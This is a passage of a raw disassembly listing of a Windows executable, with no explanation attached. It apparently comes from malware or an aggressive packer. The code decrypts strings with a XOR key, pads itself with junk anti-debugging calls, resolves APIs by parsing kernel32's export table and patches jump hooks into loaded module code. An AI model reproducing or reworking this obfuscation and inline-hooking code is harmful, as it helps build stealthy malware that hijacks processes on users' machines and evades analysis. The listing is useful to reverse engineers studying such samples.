var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ax, word_43CFF0
		mov	[ebp+var_2], ax
		push	[ebp+arg_0]
		push	0FFFFFFFFh
		call	ds:dword_41D8A0
		leave
		retn
sub_4024A8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43CFFC
		lea	eax, ds:412DE0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_402501
; ---------------------------------------------------------------------------

loc_4024EA:				; CODE XREF: .text:00402503j
		mov	eax, dword_43CFFC
		add	eax, edi
		lea	eax, ds:412DE0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 75h
		mov	[eax], dl
		inc	edi

loc_402501:				; CODE XREF: .text:004024E8j
		cmp	edi, esi
		jl	short loc_4024EA
		mov	dword ptr [ebp-4], 2E3h
		mov	eax, dword_43CFFC
		add	eax, esi
		mov	byte ptr ds:dword_412DE0[eax], 0
		xor	edi, edi
		mov	edi, dword_43CFFC
		inc	dword_43CFFC
		mov	eax, dword_43CFFC
		add	eax, 5
		add	eax, esi
		mov	dword_43CFFC, eax
		add	dword_43CFFC, 2
		cmp	dword_43CFFC, 0DF6h
		jle	short loc_402552
		and	dword_43CFFC, 0

loc_402552:				; CODE XREF: .text:00402549j
		mov	dword ptr [ebp-8], 1Ch
		lea	eax, dword_412DE0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402563	proc near		; CODE XREF: sub_402843+1F8p

var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_7]
		lea	esi, aCcLN	; "CC$l+n"
		mov	ecx, 7
		rep movsb
		xor	ebx, ebx

loc_40257E:				; CODE XREF: sub_402563+2D5j
		call	sub_40C854	; IsDebuggerPresent
		mov	eax, [ebp+arg_0]
		movzx	edx, byte ptr [eax+ebx]
		cmp	edx, 0FFh
		jnz	short loc_4025C9
		movzx	edx, byte ptr [ebx+eax+1]
		cmp	edx, 0FFh
		jnz	short loc_4025C9
		movzx	edx, byte ptr [ebx+eax+2]
		cmp	edx, 0FFh
		jnz	short loc_4025C9
		movzx	edx, byte ptr [ebx+eax+3]
		cmp	edx, 0FFh
		jnz	short loc_4025C9
		movzx	eax, byte ptr [ebx+eax+4]
		cmp	eax, 0FFh
		jz	loc_40283E

loc_4025C9:				; CODE XREF: sub_402563+2Dj
					; sub_402563+3Aj ...
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		lea	eax, [eax+edx+5]
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+ebx]
		mov	[eax+ebx], dl
		mov	[ebp+var_8], 0

loc_4025E0:				; CODE XREF: sub_402563+16Cj
		mov	eax, [ebp+arg_0]
		movzx	edx, [ebp+var_8]
		imul	edx, 0Ch
		movzx	edx, byte_43D090[edx]
		movzx	ecx, byte ptr [eax+ebx]
		cmp	ecx, edx
		jnz	loc_4026BA
		mov	ecx, ebx
		dec	ecx
		movzx	ecx, byte ptr [eax+ecx]
		cmp	ecx, edx
		jnz	loc_4026BA
		mov	ecx, ebx
		sub	ecx, 2
		movzx	ecx, byte ptr [eax+ecx]
		cmp	ecx, edx
		jnz	loc_4026BA
		mov	ecx, ebx
		sub	ecx, 3
		movzx	ecx, byte ptr [eax+ecx]
		cmp	ecx, edx
		jnz	loc_4026BA
		mov	edx, ebx
		sub	edx, 4
		movzx	eax, byte ptr [eax+edx]
		cmp	eax, 0E8h
		jnz	short loc_4026BA
		call	sub_40C7C4	; GetTickCount
		movzx	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_43D098[eax]
		call	sub_40C77C	; GetModuleHandleA
		movzx	edi, [ebp+var_8]
		imul	edi, 0Ch
		push	off_43D094[edi]
		push	eax
		call	sub_40C788	; GetProcAddress
		mov	[ebp+var_C], eax
		call	sub_40C854	; IsDebuggerPresent
		or	eax, 0FFFFFFFFh
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		lea	edx, [edx+ecx+5]
		add	edx, ebx
		sub	edx, 4
		sub	eax, edx
		add	eax, [ebp+var_C]
		sub	eax, 4
		mov	[ebp+var_10], eax
		call	sub_40C740	; GetCurrentThreadId
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		lea	eax, [eax+edx+5]
		add	eax, ebx
		sub	eax, 4
		mov	edx, [ebp+var_10]
		mov	ds:1[eax], edx
		mov	ax, word_43D103
		mov	[ebp+var_12], ax
		jmp	short loc_4026D4
; ---------------------------------------------------------------------------

loc_4026BA:				; CODE XREF: sub_402563+95j
					; sub_402563+A4j ...
		movzx	eax, [ebp+var_8]
		imul	eax, 0Ch
		cmp	off_43D094[eax], 0
		jz	short loc_4026D4
		add	[ebp+var_8], 1
		jmp	loc_4025E0
; ---------------------------------------------------------------------------

loc_4026D4:				; CODE XREF: sub_402563+155j
					; sub_402563+166j
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 4
		jnz	short loc_402744
		mov	edx, ebx
		dec	edx
		cmp	byte ptr [eax+edx], 4
		jnz	short loc_402744
		mov	edx, ebx
		sub	edx, 2
		cmp	byte ptr [eax+edx], 4
		jnz	short loc_402744
		mov	edx, ebx
		sub	edx, 3
		cmp	byte ptr [eax+edx], 4
		jnz	short loc_402744
		mov	edx, ebx
		sub	edx, 4
		movzx	edx, byte ptr [eax+edx]
		cmp	dl, 68h
		jz	short loc_40271D
		cmp	edx, 0BEh
		jz	short loc_40271D
		mov	edx, ebx
		sub	edx, 5
		cmp	byte ptr [eax+edx], 24h
		jnz	short loc_402744

loc_40271D:				; CODE XREF: sub_402563+1A5j
					; sub_402563+1ADj
		lea	edi, [ebp+var_10+1]
		lea	esi, aTLd	; "T-+ld&"
		mov	ecx, 7
		rep movsb
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+arg_8]
		lea	edx, [eax+ebx+5]
		sub	edx, 4
		add	eax, 7
		mov	ds:1[edx], eax

loc_402744:				; CODE XREF: sub_402563+178j
					; sub_402563+181j ...
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 2
		jnz	short loc_4027C9
		mov	edx, ebx
		dec	edx
		cmp	byte ptr [eax+edx], 2
		jnz	short loc_4027C9
		mov	edx, ebx
		sub	edx, 2
		cmp	byte ptr [eax+edx], 2
		jnz	short loc_4027C9
		mov	edx, ebx
		sub	edx, 3
		cmp	byte ptr [eax+edx], 2
		jnz	short loc_4027C9
		mov	edx, ebx
		sub	edx, 4
		movzx	eax, byte ptr [eax+edx]
		cmp	eax, 0E8h
		jz	short loc_402783
		cmp	eax, 0E9h
		jnz	short loc_4027C9

loc_402783:				; CODE XREF: sub_402563+217j
		call	sub_40C794	; GetProcessHeap
		mov	eax, [ebp+arg_4]
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+arg_8]
		lea	ecx, [eax+ecx+5]
		add	ecx, ebx
		sub	ecx, 4
		sub	edx, ecx
		add	edx, eax
		mov	eax, edx
		sub	eax, 4
		mov	[ebp+var_C], eax
		call	sub_40C7C4	; GetTickCount
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		lea	eax, [eax+edx+5]
		add	eax, ebx
		sub	eax, 4
		mov	edx, [ebp+var_C]
		mov	ds:1[eax], edx
		call	sub_40C734	; GetCurrentProcessId

loc_4027C9:				; CODE XREF: sub_402563+1E8j
					; sub_402563+1F1j ...
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 1
		jnz	short loc_402831
		mov	edx, ebx
		dec	edx
		cmp	byte ptr [eax+edx], 1
		jnz	short loc_402831
		mov	edx, ebx
		sub	edx, 2
		cmp	byte ptr [eax+edx], 1
		jnz	short loc_402831
		mov	edx, ebx
		sub	edx, 3
		cmp	byte ptr [eax+edx], 1
		jnz	short loc_402831
		mov	edx, ebx
		sub	edx, 4
		movzx	eax, byte ptr [eax+edx]
		cmp	al, 3Dh
		jz	short loc_40280C
		cmp	eax, 0FEh
		jz	short loc_40280C
		cmp	eax, 0FFh
		jnz	short loc_402831

loc_40280C:				; CODE XREF: sub_402563+299j
					; sub_402563+2A0j
		call	sub_40C794	; GetProcessHeap
		call	sub_40C734	; GetCurrentProcessId
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		lea	edi, [edi+esi+5]
		add	edi, ebx
		sub	edi, 4
		mov	ds:1[edi], eax
		call	sub_40C740	; GetCurrentThreadId

loc_402831:				; CODE XREF: sub_402563+26Dj
					; sub_402563+276j ...
		inc	ebx
		cmp	ebx, 400h
		jb	loc_40257E

loc_40283E:				; CODE XREF: sub_402563+60j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402563	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402843	proc near		; CODE XREF: sub_403010+237p

var_27		= byte ptr -27h
var_26		= byte ptr -26h
var_22		= byte ptr -22h
var_1F		= byte ptr -1Fh
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_11], 0A2h
		sub	[ebp+var_11], 8
		call	sub_40C854	; IsDebuggerPresent
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		jmp	short loc_4028A8
; ---------------------------------------------------------------------------

loc_402861:				; CODE XREF: sub_402843+70j
		call	sub_40C7C4	; GetTickCount
		xor	ebx, ebx
		jmp	short loc_402874
; ---------------------------------------------------------------------------

loc_40286A:				; CODE XREF: sub_402843+37j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax+ebx], 0
		jnz	short loc_40287C
		inc	ebx

loc_402874:				; CODE XREF: sub_402843+25j
		cmp	ebx, 3E8h
		jbe	short loc_40286A

loc_40287C:				; CODE XREF: sub_402843+2Ej
		lea	edi, [ebp+var_26]
		lea	esi, a5anwhv	; "5Nwhv"
		mov	ecx, 7
		rep movsb
		cmp	ebx, 3E8h
		jnb	short loc_4028BA
		mov	[ebp+var_1F], 0B8h
		movzx	eax, [ebp+var_1F]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1F], al
		inc	[ebp+var_4]

loc_4028A8:				; CODE XREF: sub_402843+1Cj
		mov	eax, [ebp+arg_4]
		sub	eax, 3E8h
		cmp	[ebp+var_4], eax
		jbe	short loc_402861
		jmp	loc_402A43
; ---------------------------------------------------------------------------

loc_4028BA:				; CODE XREF: sub_402843+4Fj
		add	[ebp+var_4], 0Ah
		movzx	edi, [ebp+arg_8]
		shl	edi, 2
		mov	ebx, ds:dword_40F2E0[edi]
		and	[ebp+var_8], 0

loc_4028D0:				; CODE XREF: sub_402843+162j
		mov	eax, ebx
		add	eax, [ebp+var_8]
		push	eax
		call	sub_401D31
		pop	ecx
		call	sub_40C794	; GetProcessHeap
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [ebx+eax]
		cmp	eax, 0E8h
		jz	short loc_40291F
		cmp	eax, 0E9h
		jz	short loc_40291F
		call	sub_40C794	; GetProcessHeap
		and	[ebp+var_C], 0
		jmp	short loc_402913
; ---------------------------------------------------------------------------

loc_402901:				; CODE XREF: sub_402843+D8j
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	cl, [ebx+eax]
		mov	[edx+eax], cl
		inc	[ebp+var_C]

loc_402913:				; CODE XREF: sub_402843+BCj
		mov	eax, ds:dword_40E07C
		cmp	[ebp+var_C], eax
		jb	short loc_402901
		jmp	short loc_402999
; ---------------------------------------------------------------------------

loc_40291F:				; CODE XREF: sub_402843+AAj
					; sub_402843+B1j
		lea	edi, [ebp+var_22]
		lea	esi, aZ		; "z "
		mov	ecx, 3
		rep movsb
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	cl, [ebx+eax]
		mov	[edx+eax], cl
		call	sub_40C854	; IsDebuggerPresent
		mov	eax, [ebp+var_8]
		lea	eax, [ebx+eax+1]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		mov	[ebp+var_1F], 65h
		movzx	eax, [ebp+var_1F]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1F], al
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		sub	edx, ecx
		mov	ecx, ebx
		add	ecx, eax
		mov	eax, edx
		add	eax, ecx
		mov	[ebp+var_1C], eax
		lea	edi, [ebp+var_27]
		lea	esi, aNiL	; "NI*l"
		mov	ecx, 5
		rep movsb
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		lea	eax, [eax+edx+1]
		mov	edx, [ebp+var_1C]
		mov	[eax], edx
		call	sub_40C740	; GetCurrentThreadId

loc_402999:				; CODE XREF: sub_402843+DAj
		mov	eax, ds:dword_40E07C
		add	[ebp+var_8], eax
		cmp	[ebp+var_8], 5
		jb	loc_4028D0
		mov	[ebp+var_18], 60F2h
		sub	[ebp+var_18], 502Ah
		mov	eax, [ebp+var_8]
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		sub	edx, ecx
		mov	ecx, ebx
		add	ecx, eax
		mov	eax, edx
		add	eax, ecx
		sub	eax, 4
		mov	[ebp+var_10], eax
		mov	ax, word_43D11B
		mov	[ebp+var_1E], ax
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		mov	byte ptr [edx+eax], 0E9h
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		lea	eax, [eax+edx+1]
		mov	edx, [ebp+var_10]
		mov	[eax], edx
		call	sub_40C734	; GetCurrentProcessId
		or	eax, 0FFFFFFFFh
		sub	eax, ebx
		mov	edx, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		lea	edx, [edx+ecx+5]
		add	eax, edx
		sub	eax, 4
		mov	[ebp+var_10], eax
		mov	byte ptr [ebx],	0E9h
		mov	ds:1[ebx], eax
		call	sub_40C7C4	; GetTickCount
		push	[ebp+var_8]
		push	[ebp+var_4]
		movzx	edi, [ebp+arg_8]
		shl	edi, 4
		push	off_43CE84[edi]
		call	sub_402563
		add	esp, 0Ch

loc_402A43:				; CODE XREF: sub_402843+72j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402843	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A48	proc near		; CODE XREF: sub_40AA24+5B8p

var_21B8	= dword	ptr -21B8h
var_21B4	= dword	ptr -21B4h
var_21B0	= dword	ptr -21B0h
var_21AC	= dword	ptr -21ACh
var_21A8	= dword	ptr -21A8h
var_21A4	= dword	ptr -21A4h
var_21A0	= dword	ptr -21A0h
var_219B	= byte ptr -219Bh
var_2198	= dword	ptr -2198h
var_2193	= dword	ptr -2193h
var_218C	= dword	ptr -218Ch
var_2188	= dword	ptr -2188h
var_2182	= word ptr -2182h
var_2180	= dword	ptr -2180h
var_207B	= byte ptr -207Bh
var_2074	= dword	ptr -2074h
var_2070	= byte ptr -2070h
var_2068	= byte ptr -2068h
var_2060	= dword	ptr -2060h
var_2050	= dword	ptr -2050h
var_204C	= dword	ptr -204Ch
var_2044	= dword	ptr -2044h
var_2034	= dword	ptr -2034h
var_2030	= dword	ptr -2030h
var_202C	= dword	ptr -202Ch
var_2026	= byte ptr -2026h
var_2025	= byte ptr -2025h
var_2020	= dword	ptr -2020h
var_101C	= dword	ptr -101Ch
var_1015	= byte ptr -1015h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 258Ch
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		call	sub_40C7C4	; GetTickCount
		call	sub_402226
		call	sub_40C764	; RtlGetLastWin32Error
		mov	[ebp+var_2025],	0
		call	sub_40C7D0	; GetVersion
		cmp	eax, 80000000h
		jnb	short loc_402A81
		mov	[ebp+var_2025],	1

loc_402A81:				; CODE XREF: sub_402A48+30j
		lea	edi, [ebp-2067h]
		lea	esi, byte_43D11D
		mov	ecx, 3
		rep movsb
		mov	[ebp+var_1015],	0

loc_402A9B:				; CODE XREF: sub_402A48+F5j
		cmp	[ebp+var_2025],	0
		jnz	short loc_402AB8
		movzx	edi, [ebp+var_1015]
		shl	edi, 4
		cmp	byte_43CE88[edi], 1
		jz	short loc_402AD5

loc_402AB8:				; CODE XREF: sub_402A48+5Aj
		cmp	[ebp+var_2025],	0
		jz	short loc_402AD7
		movzx	edi, [ebp+var_1015]
		shl	edi, 4
		cmp	byte_43CE88[edi], 2
		jnz	short loc_402AD7

loc_402AD5:				; CODE XREF: sub_402A48+6Ej
		jmp	short loc_402B24
; ---------------------------------------------------------------------------

loc_402AD7:				; CODE XREF: sub_402A48+77j
					; sub_402A48+8Bj
		movzx	edi, [ebp+var_1015]
		mov	esi, edi
		shl	esi, 4
		push	off_43CE80[esi]
		call	sub_40C860	; LoadLibraryA
		mov	ds:dword_415180[edi*4],	eax
		movzx	edi, [ebp+var_1015]
		mov	esi, edi
		shl	esi, 4
		push	off_43CE7C[esi]
		shl	edi, 2
		push	ds:dword_415180[edi]
		call	sub_40C788	; GetProcAddress
		mov	ds:dword_40F2E0[edi], eax
		call	sub_40C7C4	; GetTickCount

loc_402B24:				; CODE XREF: sub_402A48:loc_402AD5j
		add	[ebp+var_1015],	1
		movzx	edi, [ebp+var_1015]
		shl	edi, 4
		cmp	off_43CE7C[edi], 0
		jnz	loc_402A9B
		lea	edi, [ebp-206Fh]
		lea	esi, aOGdu	; "O$/gdu "
		movsd
		movsd
		mov	[ebp+var_1015],	0

loc_402B58:				; CODE XREF: sub_403010+2C2j
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		cmp	ds:dword_40F2E0[edi], 0
		jz	loc_4032B9
		call	sub_40C854	; IsDebuggerPresent
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		mov	edi, ds:dword_415180[edi]
		mov	[ebp+var_2034],	edi
		cmp	[ebp+var_2025],	0
		jz	loc_402E2B
		mov	[ebp+var_21A0],	51E2h
		mov	eax, 0D23h
		mul	[ebp+var_21A0]
		mov	[ebp+var_21A4],	eax
		mov	[ebp+var_21A0],	eax
		call	sub_4022BB
		mov	[ebp+var_2030],	eax
		shr	edi, 16h
		shl	edi, 16h
		mov	[ebp+var_8], edi
		call	sub_40C740	; GetCurrentThreadId
		mov	eax, edi
		add	eax, 400000h
		mov	[ebp+var_1014],	eax
		xor	ebx, ebx
		jmp	short loc_402C3A
; ---------------------------------------------------------------------------

loc_402BE4:				; CODE XREF: sub_402A48+1FBj
		mov	[ebp+var_21A8],	0EAEh
		mov	eax, 1AEBh
		mul	[ebp+var_21A8]
		mov	[ebp+var_21AC],	eax
		mov	[ebp+var_21A8],	eax
		mov	eax, dword_43CFF8
		add	eax, 0FEFh
		push	eax
		push	[ebp+var_8]
		call	sub_40C83C	; IsBadReadPtr
		mov	[ebp+var_4], eax
		call	sub_40C7C4	; GetTickCount
		xor	[ebp+var_4], 1
		shl	[ebp+var_4], 2
		mov	edi, [ebp+var_4]
		mov	[ebp+ebx*4+var_1010], edi
		inc	ebx
		add	[ebp+var_8], 1000h

loc_402C3A:				; CODE XREF: sub_402A48+19Aj
		mov	eax, [ebp+var_1014]
		cmp	[ebp+var_8], eax
		jbe	short loc_402BE4
		lea	eax, [ebp+var_219B]
		push	eax
		call	sub_40C824	; GlobalMemoryStatus
		call	sub_40C740	; GetCurrentThreadId
		and	[ebp+var_101C],	0
		jmp	loc_402D77
; ---------------------------------------------------------------------------

loc_402C62:				; CODE XREF: sub_402A48+340j
		call	sub_40C7D0	; GetVersion
		push	0FFFFh
		push	[ebp+var_101C]
		push	[ebp+var_2030]
		call	sub_402445
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		mov	byte ptr [ebp+var_21AC+3], 12h
		movzx	eax, byte ptr [ebp+var_21AC+3]
		imul	eax, 0C31h
		mov	byte ptr [ebp+var_21AC+3], al
		cmp	[ebp+var_C], 0
		jnz	short loc_402CAD
		call	sub_40C740	; GetCurrentThreadId
		jmp	loc_402D6D
; ---------------------------------------------------------------------------

loc_402CAD:				; CODE XREF: sub_402A48+259j
		and	[ebp+var_21A8],	0

loc_402CB4:				; CODE XREF: sub_403010+2A4j
		mov	eax, [ebp+var_21A8]
		mov	[ebp+var_8], eax
		jmp	loc_402D52
; ---------------------------------------------------------------------------

loc_402CC2:				; CODE XREF: sub_402A48+311j
		mov	[ebp+var_21B0],	690h
		add	[ebp+var_21B0],	2151h
		xor	ebx, ebx

loc_402CD8:				; CODE XREF: sub_402A48+2DFj
		call	sub_40C7C4	; GetTickCount
		mov	edi, [ebp+var_8]
		shr	edi, 2
		shl	edi, 2
		add	edi, [ebp+var_C]
		mov	edi, [edi+ebx*4]
		mov	[ebp+var_4], edi
		and	[ebp+var_4], 4
		mov	edi, [ebp+ebx*4+var_1010]
		cmp	[ebp+var_4], edi
		jnz	short loc_402D29
		mov	[ebp+var_21B4],	6D86h
		mov	eax, 4E3Ch
		mul	[ebp+var_21B4]
		mov	[ebp+var_21B8],	eax
		mov	[ebp+var_21B4],	eax
		inc	ebx
		cmp	ebx, 400h
		jb	short loc_402CD8

loc_402D29:				; CODE XREF: sub_402A48+2B5j
		cmp	ebx, 3FFh
		jb	short loc_402D4B
		call	sub_40C794	; GetProcessHeap
		mov	eax, [ebp+var_8]
		add	eax, 1000h
		mov	[ebp+var_21A8],	eax
		call	sub_40C734	; GetCurrentProcessId
		jmp	short loc_402D9E
; ---------------------------------------------------------------------------

loc_402D4B:				; CODE XREF: sub_402A48+2E7j
		add	[ebp+var_8], 1000h

loc_402D52:				; CODE XREF: sub_402A48+275j
		cmp	[ebp+var_8], 0F000h
		jbe	loc_402CC2
		push	[ebp+var_C]
		call	sub_4024A8
		pop	ecx
		call	sub_40C740	; GetCurrentThreadId

loc_402D6D:				; CODE XREF: sub_402A48+260j
		add	[ebp+var_101C],	10000h

loc_402D77:				; CODE XREF: sub_402A48+215j
		mov	eax, [ebp+var_2193]
		sub	eax, 0FFFFh
		cmp	[ebp+var_101C],	eax
		jbe	loc_402C62
		push	[ebp+var_2030]
		call	sub_40C7AC	; CloseHandle
		jmp	loc_4032B9
; ---------------------------------------------------------------------------

loc_402D9E:				; CODE XREF: sub_402A48+301j
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		mov	edi, ds:dword_40F2E0[edi]
		mov	[ebp+var_1014],	edi
		and	[ebp+var_1014],	0

loc_402DBC:				; CODE XREF: sub_402A48+3E1j
		call	sub_40C764	; RtlGetLastWin32Error
		mov	edi, [ebp+var_1014]
		shl	edi, 2
		mov	esi, [ebp+var_8]
		shr	esi, 2
		shl	esi, 2
		add	esi, [ebp+var_C]
		mov	esi, [esi+edi]
		mov	[ebp+edi+var_2020], esi
		call	sub_40C734	; GetCurrentProcessId
		mov	edi, [ebp+var_1014]
		shl	edi, 2
		mov	esi, [ebp+var_8]
		shr	esi, 2
		shl	esi, 2
		add	esi, [ebp+var_C]
		add	edi, esi
		or	byte ptr [edi],	2
		mov	byte ptr [ebp+var_21A8+3], 1Eh
		movzx	eax, byte ptr [ebp+var_21A8+3]
		imul	eax, 409Ah
		mov	byte ptr [ebp+var_21A8+3], al
		inc	[ebp+var_1014]
		cmp	[ebp+var_1014],	400h
		jb	short loc_402DBC

loc_402E2B:				; CODE XREF: sub_402A48+14Bj
		cmp	[ebp+var_2025],	0
		jnz	loc_402F0D
		call	sub_40C7D0	; GetVersion
		push	offset aKernel32_dll ; "kernel32.dll"
		call	sub_40C77C	; GetModuleHandleA
		mov	[ebp+var_2180],	eax
		lea	edi, [ebp+var_21A4+3]
		lea	esi, aE3	; "-;E3"
		mov	ecx, 5
		rep movsb
		mov	eax, [ebp+var_2180]
		mov	edx, eax
		add	edx, ds:3Ch[eax]
		mov	[ebp+var_2193+3], edx
		mov	[ebp+var_2182],	4195h
		movzx	eax, [ebp+var_2182]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2182],	ax
		mov	eax, [ebp+var_2180]
		mov	edx, [ebp+var_2193+3]
		add	edx, 78h
		add	eax, [edx]
		mov	[ebp-2194h], eax
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, [ebp+var_2180]
		mov	edx, [ebp-2194h]
		add	edx, 1Ch
		add	eax, [edx]
		mov	[ebp+var_2198],	eax
		mov	eax, [ebp+var_2180]
		mov	edx, [ebp+var_2198]
		add	eax, [edx]
		mov	[ebp-219Ch], eax
		mov	[ebp+var_218C],	0F88h
		add	[ebp+var_218C],	72CBh
		mov	[ebp+var_2074],	eax
		mov	[ebp+var_2188],	200Bh
		mov	eax, [ebp+var_2188]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_2188],	edx

loc_402F0D:				; CODE XREF: sub_402A48+3EAj
		push	1Ch
		lea	eax, [ebp+var_2050]
		push	eax
		call	sub_40C8C0	; RtlZeroMemory
		mov	eax, [ebp+var_2034]
		mov	[ebp+var_202C],	eax
		call	sub_40C7D0	; GetVersion

loc_402F2C:				; CODE XREF: sub_402A48+537j
					; sub_402A48+57Ej
		push	1Ch
		lea	eax, [ebp+var_2050]
		push	eax
		push	[ebp+var_202C]
		call	sub_40C920	; VirtualQuery
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, [ebp+var_2034]
		cmp	[ebp+var_204C],	eax
		jnz	short loc_402FCB
		lea	edi, [ebp+var_207B]
		lea	esi, aZt_	; "!/zt_$"
		mov	ecx, 7
		rep movsb
		mov	eax, [ebp+var_2044]
		mov	[ebp+var_2060],	eax
		add	[ebp+var_202C],	eax
		cmp	[ebp+var_2025],	0
		jnz	short loc_402F2C
		mov	[ebp+var_2180],	691Fh
		mov	eax, [ebp+var_2180]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_2180],	edx
		push	20060000h
		push	0
		mov	edi, [ebp+var_2060]
		shr	edi, 0Ch
		push	edi
		mov	edi, [ebp+var_2050]
		shr	edi, 0Ch
		push	edi
		push	1000Dh
		call	[ebp+var_2074]
		call	sub_40C740	; GetCurrentThreadId
		jmp	loc_402F2C
; ---------------------------------------------------------------------------

loc_402FCB:				; CODE XREF: sub_402A48+509j
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		mov	esi, [ebp+var_202C]
		sub	esi, [ebp+var_2034]
		mov	ds:dword_4118A0[edi], esi
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		mov	edi, ds:dword_40F2E0[edi]
		mov	[ebp+var_1014],	edi
		mov	eax, dword_43CFF4 ; DATA XREF: .data:loc_4403D2r
					; sub_4403F5+8Cw ...

loc_403004:				; DATA XREF: .data:0043F42Dr
					; .data:loc_43F469r ...
		add	eax, 1000h
		push	eax
		push	edi
		call	sub_40C848	; IsBadWritePtr
sub_402A48	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_403010	proc near		; DATA XREF: .data:0043F529o
					; sub_4403F5+10o
		mov	[ebp-2064h], eax
		mov	dword ptr [ebp-2058h], 78C1h
		add	dword ptr [ebp-2058h], 3550h
		test	eax, eax
		jnz	loc_403269
		mov	dword ptr [ebp-205Ch], 1FC2h
		add	dword ptr [ebp-205Ch], 61DDh
		cmp	byte ptr [ebp+8], 0
		jz	loc_403233
		lea	edi, [ebp-2183h]
		lea	esi, byte_43D134
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	eax, [ebp-1014h]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0E9h
		jz	short loc_403085
		call	sub_40C764	; RtlGetLastWin32Error
		cmp	byte ptr [ebp+8], 1
		jz	loc_403269
		jmp	loc_403233
; ---------------------------------------------------------------------------

loc_403085:				; CODE XREF: sub_403010+5Fj
		mov	eax, [ebp-1014h]
		mov	edx, ds:1[eax]
		sub	edx, 0FFFFFFFFh
		lea	eax, [edx+eax+4]
		mov	[ebp-2024h], eax
		mov	dword ptr [ebp-2180h], 14DFh
		mov	eax, 61CEh
		mul	dword ptr [ebp-2180h]
		mov	[ebp-2588h], eax
		mov	[ebp-2180h], eax
		mov	byte ptr [ebp-217Ch], 0

loc_4030C7:				; CODE XREF: sub_403010+154j
		sub	dword ptr [ebp-2024h], 5
		mov	eax, [ebp-2024h]
		mov	[ebp-4], eax

loc_4030D7:				; CODE XREF: sub_403010+100j
		mov	eax, [ebp-4]
		mov	edx, eax
		dec	edx
		cmp	byte ptr [edx],	0
		jnz	short loc_403108
		mov	edx, eax
		sub	edx, 2
		cmp	byte ptr [edx],	0
		jnz	short loc_403108
		mov	edx, eax
		sub	edx, 3
		cmp	byte ptr [edx],	0
		jnz	short loc_403108
		mov	edx, eax
		sub	edx, 4
		cmp	byte ptr [edx],	0
		jnz	short loc_403108
		sub	eax, 5
